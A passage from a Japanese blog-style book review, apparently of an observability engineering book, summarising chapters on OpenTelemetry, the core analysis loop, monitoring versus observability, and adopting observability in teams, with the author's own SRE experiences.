UIを使えば、収集したトレースデータをさまざまな角度から探索することができます。例えば、特定のスパンを選択して、その詳細情報を表示したり、関連するスパンをハイライトしたりすることができます。また、トレースのパフォーマンスを分析するためのツールも提供されています。本書は、OpenTelemetryとJaegarを組み合わせることで、アプリケーションの動作を詳細に理解し、パフォーマンスのボトルネックを特定できると述べています。OpenTelemetryの重要性と今後の展望本章の結論として、OpenTelemetryがアプリケーションの計装において重要な役割を果たすと強調しています。OpenTelemetryは、ベンダーロックインを回避し、テレメトリデータ収集を標準化するためのオープンソースのインストルメンテーションフレームワークです。 それは、分散トレーシング、メトリクス、ロギングという3つの主要なテレメトリ信号をサポートし、エンドツーエンドの可観測性を実現します。OpenTelemetryの主要コンポーネントであるAPI、SDK、Collectorは、テレメトリデータの生成、収集、処理、エクスポートを柔軟かつ拡張可能な方法で行うための基盤を提供します。特に、Collectorは OpenTelemetryアーキテクチャの中心的な存在であり、様々なデータソースからのテレメトリデータを統合し、複数のバックエンドシステムにエクスポートすることを可能にします。本書は、OpenTelemetryを使った計装の具体的な例を示し、それがいかにアプリケーションの動作を理解するのに役立つかを説明しました。OpenTelemetryのAPIとSDKを使えば、アプリケーションに一貫した方法で計装を行うことができ、バックエンドのテレメトリシステムを柔軟に変更することができます。また、自動計装機能を使えば、アプリケーションコードに変更を加えることなく、一般的なライブラリやフレームワークからテレメトリデータを収集することができます。収集したテレメトリデータは、Jaegarなどのバックエンドシステムを使って可視化し、分析することができます。これにより、アプリケーションのパフォーマンスを詳細に理解し、ボトルネックを特定することができます。OpenTelemetryは、現代のクラウドネイティブアプリケーションにとって不可欠のツールになりつつあります。 それは、複雑で動的なマイクロサービスアーキテクチャを観測し、トラブルシューティングするためのデファクトスタンダードになる可能性を秘めています。OpenTelemetryの採用が進むことで、アプリケーションの可観測性が向上し、より信頼性の高いシステムを構築することができるでしょう。しかし、まだまだ自分で超えなきゃいけない山もいくつかあるのかぁって思っています。dev.henry.jpChapter 8. Analyzing Events to Achieve Observability「Chapter 8. Analyzing Events to Achieve Observability」は、オブザーバビリティを実現するためのイベント分析の方法と、従来のデバッグ手法との違いについて詳しく解説した章です。本書は、第一原理に基づいて客観的にシステムを理解することの重要性を強調し、コア分析ループを使ってイベントデータを効果的に分析する方法を提示しています。既知の条件からのデバッグ本書は、オブザーバビリティが登場する以前のデバッグ手法の特徴として、システムに関する知識に基づいて問題を特定していたことを指摘しています。熟練したエンジニアは、長年の経験で培った直感を頼りに、どこを見れば問題が見つかるかを知っています。しかし、これはシステムに対する深い理解があってこそ可能な手法であり、新しいメンバーがチームに加わったり、システムが大規模化・複雑化したりすると、すぐに限界に達してしまいます。インフラエンジニアとして、私自身もこのような状況を数多く経験してきました。新しいサービスのリリースや、システムの大規模な変更の際には、必ず予期せぬ問題が発生するものです。そのたびに、ログやメトリクスを頼りに、問題の原因を探り当てようと奮闘したことを思い出します。特に、マイクロサービスアーキテクチャの普及に伴い、システムの複雑性が飛躍的に高まった昨今では、単純なログの監視やダッシュボードの確認だけでは、問題の全容を掴むことが難しくなってきています。サービス間の依存関係が複雑に絡み合い、一つの障害が連鎖的に他のサービスに影響を及ぼすことも珍しくありません。著者も指摘しているように、ランブックの作成やダッシュボードのカスタマイズに多くの時間を費やすことは、もはや効率的とは言えません。モダンなシステムでは、同じ障害が二度と発生しないことが多いため、これらの努力は無駄になってしまうのです。 むしろ、そうした手作業の時間を、より本質的な問題の解決に充てるべきでしょう。第一原理に基づくデバッグ本書は、オブザーバビリティを実現するためには、イベントとして収集したテレメトリデータを第一原理に基づいて分析することが重要だと述べています。第一原理とは、他の仮定から演繹されていない基本的な仮定のことを指します。第一原理に基づいてデバッグするということは、システムを科学的に理解するための方法論に従うということです。 それは、何も仮定せず、何が確かに正しいのかを問い直すことから始まります。そして、その原理に基づいて仮説を立て、システムに関する観察によってその仮説を検証していくのです。これは、インフラエンジニアにとって非常に重要な考え方だと思います。私たちは、日々、複雑で予測不可能なシステムと向き合っています。その中で問題を解決するためには、因習や思い込みにとらわれることなく、常に原理原則に立ち返って考える姿勢が求められます。本書は、第一原理に基づくデバッグがオブザーバビリティの中核的な機能であると強調しています。システムの複雑さが増すにつれ、経験や直感に頼ったデバッグは非現実的になります。第一原理に基づくデバッグは、システムに精通していなくても問題を特定できる、体系的で再現性のある方法なのです。これは、チームの属人性を減らし、誰もが同じ品質でデバッグできるようにするためにも重要です。ベテランエンジニアの「勘」に頼るのではなく、誰もが同じプロセスを踏めば同じ結果が得られるようにしておくことが、チームの生産性と品質の向上につながります。コア分析ループの活用本書は、第一原理に基づくデバッグの具体的な方法として、コア分析ループを紹介しています。コア分析ループは、テレメトリデータから仮説を立て、データによってその仮説を検証するプロセスを繰り返すことで、複雑な問題の答えを体系的に導き出す方法です。Figure 8-1. The core analysis loop より引用コア分析ループは以下の4つのステップで構成されています。調査のきっかけとなった全体像から始める。これまでに分かっていることが正しいかを検証する。パフォーマンスの変化を引き起こしている可能性のあるディメンションを探す。何が起こっているのかを十分に理解できたかを判断し、できていなければ、次の出発点として現在のビューを絞り込み、ステップ3に戻る。これは、第一原理に基づくデバッグの基本であり、インフラエンジニアにとっても非常に有用な手法だと思います。利用可能なすべてのディメンションを繰り返し調べることで、システムに関する事前の知識がなくても、問題の原因となっているディメンションを特定することができます。実際、私自身もこの手法を用いて、複雑な障害の原因を突き止めたことがあります。あるとき、あるマイクロサービスのレスポンスタイムが突然悪化し、原因が全くわからないという事態に陥りました。そこで、コア分析ループを使って、関連するすべてのメトリクスを洗い出し、一つ一つ仮説を立てて検証していきました。結果として、原因はデータベースへの接続数の上限に達していたことだとわかりました。その問題自体は設定変更で簡単に解決できたのですが、重要なのは、事前にその可能性を予測していなかったにもかかわらず、コア分析ループを使って問題を特定できたことです。ただし、著者も指摘するように、この作業を人間だけで行うのは非常に時間がかかります。システムが大規模で複雑になればなるほど、調べるべきディメンションの数は膨大になります。オブザーバビリティツールは、このブルートフォース分析をできる限り自動化する必要があるのです。コア分析ループのブルートフォース部分の自動化コア分析ループは、大量のシステムノイズの中から重要なシグナルを客観的に見つけ出すための方法です。この作業を迅速に行うためには、マシンの計算能力を活用することが不可欠です。本書は、Honeycombの BubbleUp機能を例に、コア分析ループの自動化について説明しています。BubbleUpは、注目すべきパフォーマンスの領域を選択すると、その領域内外のすべてのディメンションの値を計算し、差分の割合で並べ替えて表示します。これにより、どのディメンションがパフォーマンスの異常に関与しているかが一目でわかるようになっています。ちなみに他の監視基盤でも同様にできるはずです。こうした自動化は、インフラエンジニアやSREの負担を大幅に軽減してくれます。私たちは、データの中から重要なパターンを見つけ出すことに集中でき、膨大な生データを手作業で処理する必要がなくなるのです。また、著者が指摘するように、この自動化には、オブザーバビリティの基本的な構成要素である、任意の幅を持つ構造化イベントが不可欠です。従来のメトリクスやログでは、データの粒度が粗すぎたり、コンテキストが不足していたりするため、自由自在な分析ができないのです。私自身、以前はメトリクスベースの監視ツールを使っていましたが、ある問題をきっかけにオブザーバビリティツールの導入を決めました。それは、あるマイクロサービスの障害が、別のサービスに連鎖的に影響を及ぼすという事案でした。メトリクスだけでは、どのサービスが原因で、どの順序で障害が伝播したのかを追跡することができませんでした。そこで、OpenTelemetryを使って各サービスをインストルメント化し、Jaegerでトレースデータを収集・可視化する環境を構築しました。すると、サービス間の呼び出し関係が一目瞭然になり、障害の原因を瞬時に特定できるようになったのです。まさに、オブザーバビリティの威力を実感した瞬間でした。AIOpsの誤ったアレ本書は、AIOps(運用のための人工知能)の過度な期待について警鐘を鳴らしています。AIOpsは、異常検知やアラートノイズの削減などの分野でオブザーバビリティと交差しますが、万能な解決策ではありません。AIによる異常検知は、「正常」なベースラインイベントと「異常」なイベントを比較するという概念に基づいています。しかし、頻繁にシステムの動作が変化するような環境では、AIが正しいベースラインを選択するのは非常に難しいのです。AIは、完全に正常な動作を異常と見なしたり、異常を正常と誤認したりする可能性があります。これは、インフラエンジニアとして痛感している問題です。私たちは、常に変化し続けるシステムを扱っています。新機能のリリースや設定変更など、日々のオペレーションが常に「異常」を生み出しているのです。そのような環境で、AIだけに頼って異常を検知することは現実的ではありません。むしろ、著者が述べているように、人間の知性とコンテキストの理解が不可欠だと思います。コンピューターにはデータを大量に処理して興味深いパターンを見つけ出すことを任せ、そのパターンが本当に問題を示しているのかを判断するのは人間の役割なのです。 これこそが、オブザーバビリティとコア分析ループの自動化において、人間とマシンの知性を融合させる最良の方法だと私も考えます。実際、私たちのチームでも、オブザーバビリティツールが検出した異常を、エンジニアが一つ一つ確認するプロセスを設けています。既存のAIと呼ばれる機構だけでなく、生成AIモデルによる分析結果も同様に、人間による検証が欠かせません。某かが問題と判断した事象の多くは、実は仕様変更や一時的なスパイクだったりするのです。そうした「偽陽性」を排除し、本当に対処が必要な問題にフォーカスするには、人間の判断が欠かせません。オブザーバビリティ実現のためのイベント分析本章の結論として、適切なテレメトリデータを収集することは、オブザーバビリティへの第一歩に過ぎないと強調しています。そのデータを第一原理に基づいて分析することで、複雑な環境におけるアプリケーションの問題を客観的かつ正確に特定することができるのです。 コア分析ループは、障害箇所を迅速に特定するための効果的な手法ですが、システムが複雑になるほど、人間が系統的に分析するのは時間がかかります。そこで、異常の原因を探る際には、非常に大きなデータセットから興味深いパターンを迅速に見つけ出すために、計算リソースを活用することができます。そのパターンを人間のオペレーターに提示し、必要なコンテキストに置いて調査の方向性を further示してもらうことで、マシンと人間の強みを最大限に活用し、システムのデバッグを迅速に進められるのです。オブザーバビリティシステムは、前章で学んだイベントデータに対してこの種の分析パターンを適用するように構築されています。 適切なデータと、そのデータを分析して迅速に答えを得るための手法の両方を理解することで、オブザーバビリティの真価を発揮することができるのです。インフラエンジニアとして、私はこの章で紹介されたコンセプトの多くを実践してきました。コア分析ループは、複雑な障害の原因を突き止めるための強力な武器であり、オブザーバビリティツールの自動化機能と組み合わせることで、その威力はさらに増します。また、人間とマシンの知性を適切に組み合わせることの重要性も、身をもって体験しています。AIには膨大なデータを高速に処理する能力がありますが、そこから意味のある洞察を引き出すには、人間の専門知識と判断力が必要不可欠なのです。私たちインフラエンジニアやSREは、システムの安定運用という重大な責務を負っています。そのためには、単に技術的なスキルだけでなく、システムを俯瞰的に捉え、本質的な問題を見抜く力が求められます。オブザーバビリティは、そのための強力な武器になると確信しています。本章で紹介された手法を実践することで、私たちは、システムの動作を深く理解し、問題の予兆を早期に検知し、障害の影響を最小限に抑えることができるようになるでしょう。それは、ユーザーに価値を届け続けるために、そして自らの成長のためにも、私たちに課せられた使命だと思うのです。Chapter 9. How Observability and Monitoring Come Together「Chapter 9. How Observability and Monitoring Come Together」は、オブザーバビリティとモニタリングの違いを明確にし、それぞれの適切な適用範囲と、両者が補完的に機能する方法について解説した章です。本書は、組織のニーズに応じて、オブザーバビリティとモニタリングを適切に組み合わせることの重要性を強調しています。モニタリングの適用範囲本書は、まずモニタリングの適用範囲について詳細に説明しています。モニタリングは、システムの状態を理解するための成熟した手法であり、何十年にもわたって洗練されてきました。当初の単純なメトリクスとRRD(Round-Robin Database)から、TSDB(Time Series Database)と精巧なタグ付けシステムへと進化を遂げてきたのです。モニタリングのベストプラクティスは広く知られており、特定のツールに特化したコミュニティを超えて理解されています。例えば、「人間がグラフを1日中見ている必要はなく、何か問題があればシステムが自動的に通知すべき」というのは、モニタリングの中核をなす広く受け入れられている考え方です。この意味で、モニタリングシステムは本質的にリアクティブです。既知の障害状態に反応して、人間に問題の発生を警告するのです。つまり、モニタリングは、既知の未知(known-unknowns)を検出するように最適化されているのです。この特性から、モニタリングは、アプリケーションコードよりも変更頻度が低く、予測可能なシステムの状態を理解するのに最適だと言えます。本書は、ここでいうシステムとは、ソフトウェアを実行するために必要な基盤、つまりインフラストラクチャやランタイムを指していると説明しています。オブザーバビリティの適用範囲一方、オブザーバビリティは、より能動的なアプローチを取ります。本書は、オブザーバビリティの実践では、エンジニアは常に本番環境のコードを監視し、異常や興味深い兆候を探るべきだと述べています。第8章で説明されているように、コア分析ループは、第一原理に基づくデバッグを可能にし、未知の未知(unknown-unknowns)を発見するように設計されています。つまり、オブザーバビリティは、システムよりも頻繁に、そしてより予測不可能な方法で変化する、開発中のソフトウェアの状態を理解するのに最適化されているのです。モニタリングとオブザーバビリティのツールには、異なるベストプラクティスと実装があり、異なる目的に役立ちます。システムとソフトウェアの違い本書は、システムとソフトウェアの違いについても詳しく説明しています。より伝統的な環境では、システムとソフトウェアの区別は明確でした。ベアメタルのインフラストラクチャがシステムであり、その上で動作するすべてがソフトウェアでした。しかし、モダンなシステムとその多くの高次の抽象化により、その区別はやや不明確になっています。ここでの定義に従えば、ソフトウェアとは、顧客に価値を提供する本番サービスを運用するために、アクティブに開発されているコードのことです。ソフトウェアは、ビジネスが市場の問題を解決するために実行したいものです。一方、システムとは、そのサービスを運用するために必要な、基盤となるインフラストラクチャとランタイムに関するすべてを包括する用語です。システムは、ビジネスがソフトウェアを実行するために必要なものです。この定義では、データベース(MySQLやMongoDBなど)、コンピュートとストレージ(コンテナや仮想マシンなど)、その他、ソフトウェアをデプロイして実行する前にプロビジョニングして設定する必要があるすべてのものが、システム(またはインフラストラクチャ)に含まれます。クラウドコンピューティングの世界では、これらの定義を明確にするのがやや難しくなっています。例えば、ソフトウェアを実行するために、Apache Kafkaのような基盤コンポーネントが必要だとします。もしそれらのコンポーネントへのアクセスをサービスとして購入するのであれば、それはインフラストラクチャとはみなされません。本質的に、他の誰かにそれを運用してもらうためにお金を払っているのです。しかし、自分たちでインストール、設定、時々のアップグレード、パフォーマンスのトラブルシューティングを行う必要があるのであれば、それは気にかける必要のあるインフラストラクチャなのです。ソフトウェアに比べて、システム層のすべては、変更頻度が低く、異なるユーザーセットに焦点を当て、異なる価値を提供するコモディティです。ソフトウェア、つまり顧客が使用するために書かれたコードは、ビジネスの中核を差別化するものです。それは、今日の企業が存在する理由そのものです。したがって、ソフトウェアには、管理方法に関する異なる考慮事項があります。以下は、システムとソフトウェアの間で異なる要因を比較しています。変更の頻度:システムではパッケージの更新が月単位であるのに対し、ソフトウェアではリポジトリへのコミットが日単位で行われます。予測可能性:システムは高い(安定している)のに対し、ソフトウェアは低い(多くの新機能がある)。ビジネスへの価値:システムは低い(コストセンター)のに対し、ソフトウェアは高い(収益の源泉)。ユーザー数:システムは少ない(内部チーム)のに対し、ソフトウェアは多い(顧客)。中核となる関心事:システムではシステムやサービスが健全かどうかであるのに対し、ソフトウェアでは各リクエストが適時かつ確実にエンドツーエンドの実行に必要なリソースを獲得できるかどうか。評価の視点:システムではシステム自体であるのに対し、ソフトウェアでは顧客。評価基準:システムでは低レベルのカーネルとハードウェアデバイスドライバであるのに対し、ソフトウェアでは変数とAPIエンドポイント。機能的責任:システムではインフラストラクチャの運用であるのに対し、ソフトウェアではソフトウェアの開発。理解の方法:システムではモニタリングであるのに対し、ソフトウェアではオブザーバビリティ。インフラストラクチャに関しては、管理チームの視点のみが重要です。インフラストラクチャについて問うべき重要な質問は、それが提供するサービスが本質的に健全かどうかということです。そうでない場合、そのチームは迅速に行動を起こし、インフラストラクチャを健全な状態に戻す必要があります。インフラストラクチャの健全性に影響を与える条件は、変化が少なく、比較的予測が容易です。実際、これらの問題を予測し(例:キャパシティプランニング)、自動的に修復する(例:オートスケーリング)ためのプラクティスはよく確立されています。その比較的予測可能でゆっくりと変化する性質のため、集約されたメトリクスは、システムレベルの問題の監視とアラートには完全に適しているのです。一方、アプリケーションコードでは、最も重要なのは顧客の視点です。基盤となるシステムは本質的に健全かもしれませんが、ユーザーリクエストはさまざまな理由で失敗する可能性があります。先行する章で説明したように、分散システムはこの種の問題の検出と理解を難しくしています。突然、高カーディナリティのフィールド(ユーザーID、ショッピングカートIDなど)を使って、特定の顧客の体験を観察する能力が重要になってきます。特に、継続的デリバリーのモダンな世界では、新しいバージョンのコードが常にデプロイされているため、ソフトウェアの関心事は常にシフトし、変化しています。オブザーバビリティは、これらの関心事に対処するための適切な質問をリアルタイムで行う方法を提供します。これら2つのアプローチは相互に排他的ではありません。すべての組織には、どちらかのカテゴリに当てはまる考慮事項があるでしょう。次に、組織のニーズに応じて、この2つのアプローチが共存する方法を見ていきます。組織のニーズの評価本書は、オブザーバビリティとモニタリングの適切なバランスを見出すには、組織のニーズを評価することが重要だと述べています。モニタリングは、システムレベルの関心事を理解するのに最適です。オブザーバビリティは、アプリケーションレベルの関心事を理解するのに最適です。どの関心事がビジネスにとって最も重要かを理解することが、組織自身のニーズを評価することなのです。オブザーバビリティは、自社で開発・出荷するソフトウェアが、顧客にサービスを提供する際にどのように機能しているかを深く理解するのに役立ちます。全体的に許容できるパフォーマンスを提供することに加えて、特定の注目すべき顧客セグメントに優れたサービスを提供することがビジネス戦略の中核である場合、オブザーバビリティの必要性は特に強調されます。一方、モニタリングは、そのソフトウェアをサポートするために運用しているシステムが、どの程度その役割を果たしているかを理解するのに役立ちます。メトリクスベースのモニタリングツールとそれに関連するアラートは、基盤となるシステムの容量限界や既知のエラー状態に達したことを知らせてくれます。IaaSプロバイダーのように、インフラストラクチャ自体を顧客に提供することがビジネスの中核である場合、DNSカウンター、ディスク統計など、相当量のモニタリングが必要になります。基盤となるシステムは、このような組織にとってビジネス上重要であり、顧客に公開するこれらの低レベルのシステムに精通している必要があるのです。しかし、インフラストラクチャの提供がビジネスの中核的な差別化要因ではない場合、モニタリングの重要性は相対的に低くなります。その場合、高レベルのサービスとエンドツーエンドのチェックのみを監視する必要があるかもしれません。ビジネスに必要なモニタリングの量を正確に判断するには、いくつかの考慮事項があります。自社のインフラストラクチャの大部分を運用している企業は、より多くのモニタリングを必要とします。オンプレミスでシステムを運用するか、クラウドプロバイダーを使用するかに関わらず、この考慮事項は、インフラストラクチャがどこにあるかというよりも、運用上の責任に関するものです。クラウドで仮想マシンをプロビジョニングするにしろ、オンプレミスでデータベースを管理するにしろ、重要な要因は、インフラストラクチャの可用性とパフォーマンスを保証する責任を自社のチームが負うかどうかなのです。ベアメタルシステムの運用責任を負う組織は、低レベルのハードウェアパフォーマンスを調べるモニタリングを必要とします。イーサネットポートのカウンター、ハードドライブのパフォーマンス統計、システムファームウェアのバージョンなどを監視する必要があります。ハードウェアレベルの運用をIaaSプロバイダーにアウトソースしている組織は、そのレベルで機能するメトリクスと集計を必要としないでしょう。そして、これはスタックのさらに上のレベルでも同様です。運用責任がサードパーティに移行されるにつれ、インフラストラクチャの監視の関心事も移行されていきます。ほとんどのインフラストラクチャを高レベルのPaaS(Platform-as-a-Service)プロバイダーにアウトソースしている企業は、従来のモニタリングソリューションをほとんど、あるいはまったく必要としないかもしれません。Heroku、AWS Lambdaなどは、本質的に、ビジネスが実行したいソフトウェアをサポートするために必要なインフラストラクチャの可用性とパフォーマンスを保証する仕事を請け負うために、料金を支払うことを可能にしているのです。今日、ユーザーのマイレージは、クラウドプロバイダーの堅牢性によって異なるかもしれません。おそらく、抽象化は十分にクリーンで高レベルなので、インフラストラクチャの監視への依存を取り除くという経験は、それほどフラストレーションを感じるものではないでしょう。しかし、理論的には、すべてのプロバイダーがそのシフトを可能にするモデルに移行しつつあります。例外として無視できないインフラストラクチャの監視システムのモニタリングとソフトウェアのオブザーバビリティのこの明確な区分には、いくつかの例外があります。先に述べたように、ソフトウェアのパフォーマンスを評価するための視点は、顧客体験です。ソフトウェアのパフォーマンスが遅い場合、顧客はそれを悪い体験と捉えます。したがって、顧客体験を評価する上での主要な関心事は、パフォーマンスのボトルネックを引き起こす可能性のあるものを理解することです。この明確な区分の例外は、ソフトウェアがその基盤となるインフラストラクチャとどのように相互作用しているかを直接示すメトリクスです。ソフトウェアの観点からは、一般的なモニタリングツールによって/procファイルシステムで発見された変数の何千ものグラフを見ることはほとんど、あるいはまったく価値がありません。電源管理やカーネルドライバに関するメトリクスは、低レベルのインフラストラクチャの詳細を理解するのに役立つかもしれませんが、ソフトウェアのパフォーマンスへの影響についてはほとんど有用な情報を示さないため、ソフトウェア開発者は日常的に無視します(そうあるべきです)。しかし、CPU使用率、メモリ消費量、ディスクアクティビティなどの高次のインフラストラクチャメトリクスは、物理的なパフォーマンスの制限を示します。ソフトウェアエンジニアとして、これらの指標を注意深く観察する必要があります。なぜなら、これらはコードによってトリガーされる問題の早期警戒シグナルになる可能性があるからです。例えば、新しいデプロイによって、数分以内にレジデントメモリの使用量が3倍になったことを知りたいはずです。新機能の導入直後にCPU消費量が2倍になったり、ディスク書き込みアクティビティが急増したりするのを見ることで、問題のあるコードの変更にすぐに気づくことができます。高次のインフラストラクチャメトリクスは、基盤となるインフラストラクチャがどの程度抽象化されているかによって、利用できる場合とできない場合があります。しかし、利用できる場合は、オブザーバビリティへのアプローチの一部としてそれらをキャプチャすることを強くお勧めします。ここでのモニタリングとオブザーバビリティの関係は、相関関係になります。パフォーマンスの問題が発生した場合、モニタリングを使用してシステムレベルの問題を素早く除外または確認することができます。したがって、システムレベルのメトリクスデータをアプリケーションレベルのオブザーバビリティデータと並べて表示することは有益です。一部のオブザーバビリティツール(HoneycombやLightstepなど)は、そのデータを共有のコンテキストで提示しますが、他のツールでは、その相関関係を確認するために別のツールやビューを使用する必要があるかもしれません。実際の適用例本書は、モニタリングとオブザーバビリティの共存パターンのいくつかの実例を紹介しています。ある企業では、オブザーバビリティへの移行により、Prometheus、Jaeger、従来のAPMツールの3つのシステムを、モニタリングシステムとオブザーバビリティシステムの2つに集約することができました。ソフトウェアエンジニアリングチームは主にオブザーバビリティを使用し、中央の運用チームはPrometheusを使ってインフラを監視しています。ソフトウェアエンジニアは、コードのリソース使用量の影響について質問がある場合、Prometheusを参照することができます。しかし、この必要性は頻繁ではなく、アプリケーションのボトルネックのトラブルシューティングにPrometheusを使用する必要はほとんどないと報告しています。別の企業は、比較的新しい会社で、グリーンフィールドのアプリケーションスタックを構築することができました。彼らのプロダクションサービスは、サーバーレス機能とSaaSプラットフォームを主に利用しており、独自のインフラはほとんど運用していません。最初から本当のインフラを持っていなかったため、モニタリングソリューションを自分の環境に適合させようとする道を歩み始めることはありませんでした。彼らは、アプリケーションのインストルメンテーションとオブザーバビリティに依存して、本番環境でのソフトウェアを理解しデバッグしています。また、そのデータの一部を長期的な集計とウェアハウジングのためにエクスポートしています。最後の例は、デジタルトランスフォーメーションを進める成熟した金融サービス企業です。彼らは、レガシーインフラとグリーンフィールドアプリケーションが混在する、大規模な異種混合環境を持っています。多くの古いアプリケーションはまだ運用されていますが、それらを最初に構築し、維持していたチームは、とっくに解散するか、会社の他の部署に再編成されています。多くのアプリケーションは、メトリクスベースのモニタリングとダッシュボード機能(オールインワンの商用ベンダーが提供)の組み合わせ、および非構造化ログを検索するためのさまざまなロギングツールを使って管理されています。安定して機能しているサービスのモニタリングアプローチを取り除き、再設計し、置き換えることで、ビジネスにはほとんど、あるいはまったく価値がもたらされないでしょう。その代わりに、グリーンフィールドアプリケーションは、モニタリング、ダッシュボード、ロギングの組み合わせを必要とする以前のアプローチではなく、オブザーバビリティのために開発されています。新しいアプリケーションが企業のインフラストラクチャを使用する場合、ソフトウェアエンジニアリングチームは、リソースの使用状況の影響を監視するためのインフラストラクチャメトリクスにもアクセスできます。しかし、一部のソフトウェアエンジニアリングチームは、リソース使用量とアプリケーションの問題を関連付けるために別のシステムを使用する必要性を減らすために、インフラストラクチャメトリクスをイベントにキャプチャし始めています。組織の責任に基づくオブザーバビリティとモニタリングのバランス本章の結論として、オブザーバビリティとモニタリングの共存バランスは、組織内で採用されているソフトウェアとインフラストラクチャの責任に基づいて決定されるべきだと強調しています。モニタリングは、システムの健全性を評価するのに最適であり、オブザーバビリティは、ソフトウェアの健全性を評価するのに最適です。 各ソリューションの必要性は、基盤となるインフラストラクチャの管理をどの程度サードパーティプロバイダーにアウトソースしているかによって異なります。ただし、CPU、メモリ、ディスクなど、ソフトウェアのパフォーマンスに直接影響を与える高次のインフラストラクチャメトリクスは例外です。これらのメトリクスは、オブザーバビリティアプローチの一部として取り込むべきです。本章では、モニタリングとオブザーバビリティを補完的に活用するいくつかの一般的なアプローチを示しました。 これらの考慮事項は、異なるチームによってどのように実装されているかを示す実世界の例だと言えます。オブザーバビリティの基礎を深く理解したところで、次のパートでは、オブザーバビリティの実践を成功裏に採用し、チーム全体でその採用を推進するために必要な文化的変化についても探ります。私自身、SREとしてモニタリングとオブザーバビリティの両方を活用した経験があります。従来のモニタリングツールは、インフラストラクチャの健全性を確保するために欠かせませんが、アプリケーションレベルの問題を理解し、デバッグするには不十分でした。オブザーバビリティの導入により、コードの動作を深く理解し、問題の根本原因をより迅速に特定できるようになりました。特に、CPUやメモリの使用率など、インフラメトリクスとアプリケーションの問題を関連付けることの重要性は、自身の経験からも強く実感しています。これらのメトリクスをオブザーバビリティイベントに取り込むことで、問題の全容をより素早く把握することができるようになりました。皆さんは、ご自身の組織において、オブザーバビリティとモニタリングをどのように組み合わせていますか?また、両者のバランスを取る上で、どのような課題に直面していますか?ぜひ、経験を共有しましょう。Part III. Observability for Teams本書の第3部では、異なるチーム間で観測可能性の採用を促進するのに役立つ、社会的・文化的慣行の変化についてを詳しく説明してくれています。Chapter 10. Applying Observability Practices in Your Team「Chapter 10. Applying Observability Practices in Your Team」は、オブザーバビリティの実践を自分のチームで始めるにあたって役立つヒントを提供する章です。万能のレシピは存在しないことを前提としつつ、これまでの経験から得られた有用なパターンやアプローチが複数紹介されています。具体的には、チームやプロジェクトの現状を正しく把握し、オブザーバビリティ導入の必要性と期待される効果を明確化することから始め、実装に向けては小さなスコープから着手し、限られた領域に集中して成功事例を積み重ねながら徐々に範囲を広げていくアプローチが提案されています。また、この章ではオブザーバビリティ実践の障壁となる潜在的な課題とその対処方法についても言及され、技術的な側面に加え、組織文化の変革や関係者間のコミュニケーション、教育の重要性が強調されています。読み進めるうちに、オブザーバビリティの導入は単なるツールの導入以上の作業であり、チーム全体で取り組む価値があるプロセスであることが明らかになり、この章を読めば、自分のチームに最適なオブザーバビリティ実践の方法を見出すための手がかりが得られます。この辺からというかPart III以降では一度目とは違う読書体験となり、オブザーバビリティ実践の奥深さを実感することができました。コミュニティグループへの参加本書は、オブザーバビリティの実践を始めるにあたって、コミュニティグループに参加することを勧めています。オブザーバビリティは新しい分野であり、同じような課題に取り組む人々とつながることで、多くを学び、自らの実践を改善することができます。Slackグループなどのコミュニティに参加することで、様々なバックグラウンドを持つ人々と出会い、他のチームがどのように課題に取り組んでいるかを知ることができます。こうした共有された経験は、自分自身の実験を始める前に、解決策やアプローチの背景を理解するのに役立ちます。また、コミュニティへの参加は、自分が見落としていた進展に気づくきっかけにもなります。オブザーバビリティツールのプロバイダーは、ユーザーの課題を理解し、フィードバックを得るために、様々なコミュニティに参加しています。日本にも独自のコミュニティグループがあるのですがベンダーもしくはツール毎のイベント以外は単発系が多い気がしているのでその都度調べてください。Observability Conference 2022 by CloudNative Days とOpenTelemetry の会は良い発表も多いので紹介しておきます。cloudnativedays.jpopentelemetry.connpass.com最も大きな痛みのポイントから始める新しい技術の導入は、小さくて目立たないサービスから始めるのが一般的ですが、本書は、オブザーバビリティの場合、これが大きな間違いだと指摘しています。オブザーバビリティツールは、捉えどころのない問題をすばやく見つけるのに役立ちますが、すでにうまく機能しているサービスから始めては、その価値を証明することはできません。オブザーバビリティの導入は、難しい問題や捉えどころのない問題を解決することから始めるべきです。 例えば、何週間も人々を悩ませているが、誰も正しい修正方法がわからないようなサービスや、原因不明のデータベースの混雑、正体不明のユーザーによって生成される説明不能な負荷に悩まされているサービスなどが、最適な出発点となります。こうした難しい問題をすばやく解決することで、反対意見を抱く人々を説得し、追加のサポートを得て、オブザーバビリティの採用をさらに促進することができるのです。しかし、痛みが大きい分期待値も高いので注意が必要。既存の取り組みを活用する機会を探る新しい技術を採用する際の最大の障壁の一つが、「埋没コストの誤謬」です。これは、すでに投資した時間、お金、努力のために、その行動や試みを続けてしまうことを指します。根本的な変化に抵抗するのは、資源の無駄という認識が入り込むからです。 古いソリューションを理解し、そのためにインストルメンテーションを行うのに何年も投資してきたことを考えると、感情的には理解できます。しかし、これではオブザーバビリティの導入が止まってしまいます。そこで、既存の取り組みをオブザーバビリティのイニシアチブに活用できる機会を常に探し、飛びつくことが重要です。例えば、既存のデータストリームを二次的な宛先に送ったり、別の方法で重要なデータを見たりできるなら、そのデータをオブザーバビリティソリューションに送り込むチャンスです。既存のツールとの親和性を高めることで、採用へのハードルを下げることができるのです。新しいソリューションの中に現在の世界がどのようにマッピングされるかを人々に理解してもらう必要があります。最後の難関に備える本書は、オブザーバビリティの実装における最も難しい部分の一つが、ゴールまで到達することだと指摘しています。チームの規模やスコープにもよりますが、オンコールアプローチの一環として反復的に新しいインストルメンテーションを展開していくことで、意図するスタックのすべての部分にオブザーバビリティを導入するために必要な作業の半分から3分の2程度は、ほとんどのチームで達成できるでしょう。しかし、スタックの中には、他の部分ほど活発に開発されていない部分があることに気づくはずです。そういった部分については、完了プランが必要不可欠です。オブザーバビリティの完全な実装の目標は、問題が発生したときにいつでも本番アプリケーションの状態を完全に理解するために使える、信頼できるデバッグソリューションを構築することです。 その状態に到達するまでは、異なる問題の解決に最適な様々なツールがある状態が続くでしょう。実装フェーズでは、それでも許容できるかもしれませんが、長期的には、実装を完了しないと、チームの時間、認知能力、注意力を浪費することになります。そこで、残りを迅速に処理するためのタイムラインを作成する必要があります。ターゲットマイルストーンは、チームがオブザーバビリティツールを本番でのデバッグの第一選択肢として使えるようにするために必要な残りのインストルメンテーション作業を達成することです。オブザーバビリティ実践の導入ヒント本章の結論として、オブザーバビリティの導入方法は、チームの状況に応じて異なると強調しています。オブザーバビリティの導入を始めるにあたって、同業者のコミュニティに積極的に参加することは非常に価値があります。 